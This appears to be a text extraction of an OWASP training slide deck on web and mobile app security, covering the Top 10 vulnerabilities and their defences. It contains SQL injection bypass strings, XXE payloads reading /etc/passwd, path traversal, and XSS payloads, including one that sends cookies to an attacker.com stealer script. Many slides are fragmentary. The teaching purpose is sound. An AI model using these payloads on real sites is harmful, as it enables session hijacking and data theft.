OWASP Web and Mobile App Security
OWASP Web and Mobile App Security
Application Security
Encyclopedia on Web & Mobile Security Fundamentals
Agenda
• Introduction
• OWASP Top 10 Web Vulnerabilities
• Attack vectors
• Mitigations
• OWASP Top 10 Mobile Vulnerabilities
• Mitigations
• Secure coding practices
• Responsible disclosure programs
To Brag
● Adithyan AK - Head of OWASP Coimbatore
● 5+ Years into infosec
● Expertise in web app security, reverse engineering, exploit
dev, malware analysis
● Authored few exploits and owned few CVEs
● Speaker at various conferences, workshops (IITM Research
Park, Defcon Trivandrum etc)
● Hall of fame in Microsoft, Apple, Intel, Avira, Oppo, etc
● Passion for making and breaking stuffs
Need for Security
● 4% of total web traffic is malicious
● 37k websites are hacked daily
● 125% DDOS attacks increase yearly
● Hacking is easier than securing
● 99% security is 100% vulnerable
● Security is the need of the hour
What’s OWASP
● Open Web Application Security Project
● Community for security experts around the globe
● Creating awareness in Web Application Security
● OWASP Top 10 - Most exploited vulnerabilities of the year
● OWASP Top 10 Web Vulnerabilities
● OWASP Top 10 Mobile Vulnerabilities
● OWASP Top 10 IOT Vulnerabilities
● Contribute to the community with free research articles, testing methodologies and
mitigations, documentations, tools and technologies
Terminologies
● Exploit - the code that delivers the payload
● Payload - a piece of code that triggers the vulnerability
● Vulnerability - flaw occurred due to fault in the design or implementation
● CVE
● NVD
Exploit Payload Vulnerability
● Zero-day
● Patch
● Malware
● Bot
● Shell Attacker
Bug vs Vulnerability
● Bug - When a system isn’t behaving in a way it’s designed to
● Vulnerability - a flaw through which attacker can abuse the system
● Bug is a defect in the product
● Vulnerability allows for the malicious use of the product
● Vulnerabilities get you reward, bugs won’t
Browser - Web Application Relationship
HTTP
User Browser
Request
HTTP Website
Response (Server)
HTTP Request
● Information request message from client to server
HTTP Methods
● GET - retrieve information
● POST - send information
● OPTIONS - available communication options
● HEAD - transfers the status line
● PUT - store an entity
● DELETE - deletes the specified source
● TRACE - diagnostic purposes
● CONNECT - establishes a tunnel
GET vs POST
GET
Client Server
https://example.com/login.php?user=admin&pass=admin
POST
Client Client
https://example.com/login.php
+
user=admin&pass=admin
HTTP Request Headers
$passwrd=$_POST['passwrd'];
$query="select username,pass from users where username='$uname' and password='$passwrd' limit 0,1";
$result=mysql_query($query);
$rows = mysql_fetch_array($result);
if($rows)
● Username : tom
● Password :' or '1'='1
SELECT * FROM users WHERE name='tom' and password='' or ‘1'='1'
and password='tom'
and password='' or '1'='1'
and password='' or 1='1'
and password='' or 1=1-- -'
Demo in Multilidae
Defences against Injections
Primary Defences:
+ request.getParameter("customerName");
try {
...
Prepared Statements (with Parameterized Queries)
bind variables
• PHP – use PDO with strongly typed parameterized queries (using bindParam())
$stmt->execute();
$result = $stmt->get_result();
Stored Procedures Input Sanitization
● Stored procedures performs the input escaping
● The app treats input as data instead executing it as SQL statement
● D/B Stored procedures and prepared statement
● SP is written and stored in DB and called from the web app
● Prepared statement are written and called from the web app
● If access to db is only via SP, permission for direct access on Db tables doesn’t need to be granted
explicitly
● This way, DB stays safe with access control measures
● Hex encode
SELECT ... FROM session WHERE hex_encode(sessionID) = '616263313233'
Escaping user inputs
Oracle Escaping
ANSI SQL mode: Simply encode all ' (single tick) characters with '' (two single ticks)
• Health information.
• User account/passwords.
Causing:
Example #1: Credit card encryption
• An app encrypts credit card numbers in a database using automatic database encryption
• it also decrypts this data automatically when retrieved, allowing a SQL injection flaw to
Fix :
• The system should have encrypted the credit card numbers using a public key, and only
allowed back- end applications to decrypt them with the private key
Example #2: SSL is not used for all authenticated pages
• Attacker simply monitors network traffic (like an open wireless network), and steals the
• Attacker then replays this cookie and hijacks the user’s session, accessing the user’s
private data
Fix :
Fix:
<!DOCTYPE foo [
]>
<foo>
Billion Laughs Attack by embedding entities with entities
Request
<!DOCTYPE foo [
<!ENTITY t1 "&bar;&bar;">
<!ENTITY t2 "&t1;&t1;&t1;&t1;">
Hacking sensitive files with XXE
Request
<!DOCTYPE foo [
"file:///etc/passwd">
]>
Pivoting and bypassing firewall
Request
<!DOCTYPE foo [
"http://192.168.0.1/secret.txt">
]>
XXE Mitigations
● Safest way is to disable DTD
● JAVA :
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
FEATURE = "http://xml.org/sax/features/external-general-entities";
dbf.setFeature(FEATURE, false);
FEATURE = "http://xml.org/sax/features/external-parameter-entities";
dbf.setFeature(FEATURE, false);
FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
5. Broken Access Control
● Access control is how a web application grants access to contents
and functions to some users and not others
● Ex : In fb, only the admin of a page can post and not others
● Implementing access controls are quite hard
● Each user must be added to appropriate group
● Each group must be set with appropriate permissions
● Ex: admin group and guest group in windows
Mitigations
● Insecure IDs - most website use id, key or index as a way to reference users
● If the attacker can guess these IDs and the supplied values aren’t validated, the
attacker can escalate his privileges
● This is called privilege escalation
● Applications should not rely on the secrecy of any ID’s for protection
● Path Traversal - attacker traverse through directory (../../etc/passwd)
● This attack allows low privileged user to access sensitive files
● Payloads such as (../, ..\) must be blacklisted
6. Security Misconfigurations
Improper server or web application configuration leading to various flaws:
• Debugging enabled.
• Incorrect folder permissions.
• Using default accounts or passwords.
• Setup/Configuration pages enabled.
Example #1: The app server admin console is automatically installed and not removed
Attacker discovers the standard admin pages are on your server, logs in with default
passwords, and takes over.
Example #2: Directory listing is not disabled on your server
• Disable debugging.
etc.
Browser
● www.vulnerablesite.com/hello.php?user=OWASP
Exploiting XSS
● www.vulnerablesite.com/hello.php?user=<script>alert(1)</script>
● Source code will become
<h1>Hello, <script>alert(1)</script>!</h1>
Stored vs Reflected
● Reflected
● www.vulnerablesite.com/hello.php?user=<script>alert(1)</script>
● Payload is delivered in the parameter by attacker
● Payload is visible to the victim
● However, it can be hided
● Stored
● Payload is embed into the source code
● Served by the server
● XSS auditor can’t block
● More dangerous
XSS Payloads
1. With <script> tag
<script>alert(1)</script>
<script src=//HOST/SCRIPT></script>
<script src=//attacker.com/1.js></script>
<TAG EVENT=alert(1)>
<body onload=alert(1)>
<svg onload=alert(1)>
Power of XSS
● Cross Site Request Forgery - CSRF
● JS execution will result in capturing anti-csrf token
● Account takeover
● Attacker can capture the cookies
● Session hijacking
● Account takeover
<script>alert(document.cookie)</script>
$cookies = $_GET[‘c’];
● Payload
<svg onload=fetch(‘//www.attacker.com/cookiestealer.php?c='+document.cookie)>
Deface and Deceive with XSS
● Manipulate the contents of website with innerHTML
<svg onload="document.body.innerHTML='<img src=//HOST/IMAGE>’">
● <scr<scriptipt>alert(document.cookie);</script>
● <img src=x onerror=alert(document.cookie)>
XSS Mitigations & Bypasses
● Base64 Encoding
● javascript:eval(atob(‘YWxlcnQoZG9jdW1lbnQuY29va2llKTs=‘));
● Javascript:alert(document.cookie);
● Avoiding quotes
● javascript:eval(String.fromCharCode(97,108,101,114,116,40,100
,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59))
XSS Prevention - Escaping
● Prevention won’t fix the vulnerability
● It just hardens the attacker to find one
● Escape user inputs
function escapeHTML(s, forAttribute) {
return ESC_MAP[c];
});
//The id is fine
else{
//The id is illegal
}
XSS Prevention - Encoding
● Deploy html encoding, base64 encoding or other encoding schemes
● However that can be broken
● Use combination of encoding schemes
● Deploy own encoding scheme
function encodeID(s) {
return '_'+match[0].charCodeAt(0).toString(16)+'_';
});
}
RULE #0 - Never Insert Untrusted Data Except in Allowed Locations
Directly in a script:
<script>...NEVER PUT UNTRUSTED DATA HERE...</script>
In an attribute name:
<div ...NEVER PUT UNTRUSTED DATA HERE...=test />
In a tag name:
<NEVER PUT UNTRUSTED DATA HERE... href="/test" />
Directly in CSS:
<style>
...NEVER PUT UNTRUSTED DATA HERE...
</style>
RULE #1 - HTML Escape Before Inserting Untrusted Data into HTML Element
Content
● When you want to put untrusted data into HTML body somewhere,
<body>
</body>
<div>
</div>
• While putting untrusted data into typical attribute values like width, name, value, etc
• Never use this for complex attributes like href, src, style, or any of the event handlers
like onmouseover
Inside UNquoted attribute:
● Event handler attributes should follow this rule Ex: onload etc
● Unquoted attributes can be broken out of with many characters,
including [space] % * + , - / ; < = > ^and |
● Never forget to quote an attribute Always place the untrusted data into a quoted “data value”
JSON.parse
Bad HTTP response:
HTTP/1.1 200
Server: Microsoft-IIS/7.5....
{"Message":"No HTTP resource was found that matches the request URI 'dev.net.ie/api/pay/.html?HouseNumber=9&AddressLine
that matches the controller named 'pay'."} <-- this script will pop!!
HTTP/1.1 200
RULE #5 - Sanitize HTML Markup with a Library Designed for the Job
● When application handles Markup — untrusted input that contains HTML, validation is
hard
● Encoding is difficult since it will break legit tags
● Therefore, we can use libraries designed for the job
● HTMLsanitizer
● Open-source .Net library works based on whitelist approach
var sanitizer = new HtmlSanitizer();
sanitizer.AllowedAttributes.Add("class");
● Java :
Cookie cookie = getMyCookie("myCookieName");
Rule #8: Implement Content Security Policy
• browser side mechanism which allows you to create source whitelists for client side resources of your
web application
• e.g. JavaScript, CSS, images, etc. CSP via special HTTP header instructs the browser to only execute
● Instructs the browsers to stop loading when they detect reflected xss
X-XSS-Protection: 1 - Enables XSS Filtering. If XSS detected, unsafe parts are removed
X-XSS-Protection: 1; report=<reporting-uri> - browser will sanitise the page and report the
violation
9. Using Components with known Vulnerabilities
● Hacked websites 2017 report
• 39.3% of WordPress websites were out of date;
• unresponsive website – when the website pages respond too slowly or stop
loading at all
• SEO spam – when the website listing in search engines shows unrelated
spam keywords
• a website blacklist warning – when a red warning page shows all your visitors
little changes?
CCcleaner Hack
Types of Monitoring
• Remote Scanner - A remote website security scanner:
• obfuscates JavaScript injections,
• website defacements,
• malicious iframes,
• phishing attempts,
• malicious redirects,
• anomalies,
• drive-by downloads,
• SEO blackhat spam,
• pharma hacks, etc.
Blacklist Scanner
● Blacklisting affects the SEO
● Free online scanners such as sitecheck.sucuri.net, sitegaurding.com,
websitepulse.com
• Remote scanners can only check your site from the public facing side. Remote
• malware
• backdoors,
• phishing pages,
• spam mailers,
app
● WAF can detect and immediately avert attacks like XSS, SQLi etc
Might include:
• android intents,
• platform permissions,
• misuse of TouchID,
Example: Citrix Worx apps
• It was discovered, that it was possible to bypass Touch ID for Citrix Worx apps
by
● Detect when a device is jailbroken or rooted and prevent the installation of the
app
● Secure coding and configuration practices must be used on server side of the
app
2. Insecure Data Storage
● Storing sensitive data in improper or insecure locations
● Storing data without proper encryption
● Not implementing access control measures to read the data
Mitigations
● Perform checks to determine how the app handles following features
● URL caching (both request and response)
● Keyboard press caching
● copy/paste buffer caching
● Intermediate data
● Logging
● HTML5 data storage
● Browser cookie objects
● Analytics data sent to 3rd parties
3. Insecure Communications
• poor handshaking/weak negotiation,
Attackers could:
Mitigations
• Do not use spoof-able values for authentication Ex: device identifier or GEO
location
5. Poor Code Quality
● Passing untrusted inputs to the server and backend
● Poor code quality can be exploited by malware or phishing attackes
● Example :
#include <stdio.h>
• Define a maximum ingress data rate limit, and drop all connections above that
rate.
Secure Coding and Best Practices
● Double-Check the extension of the file uploaded.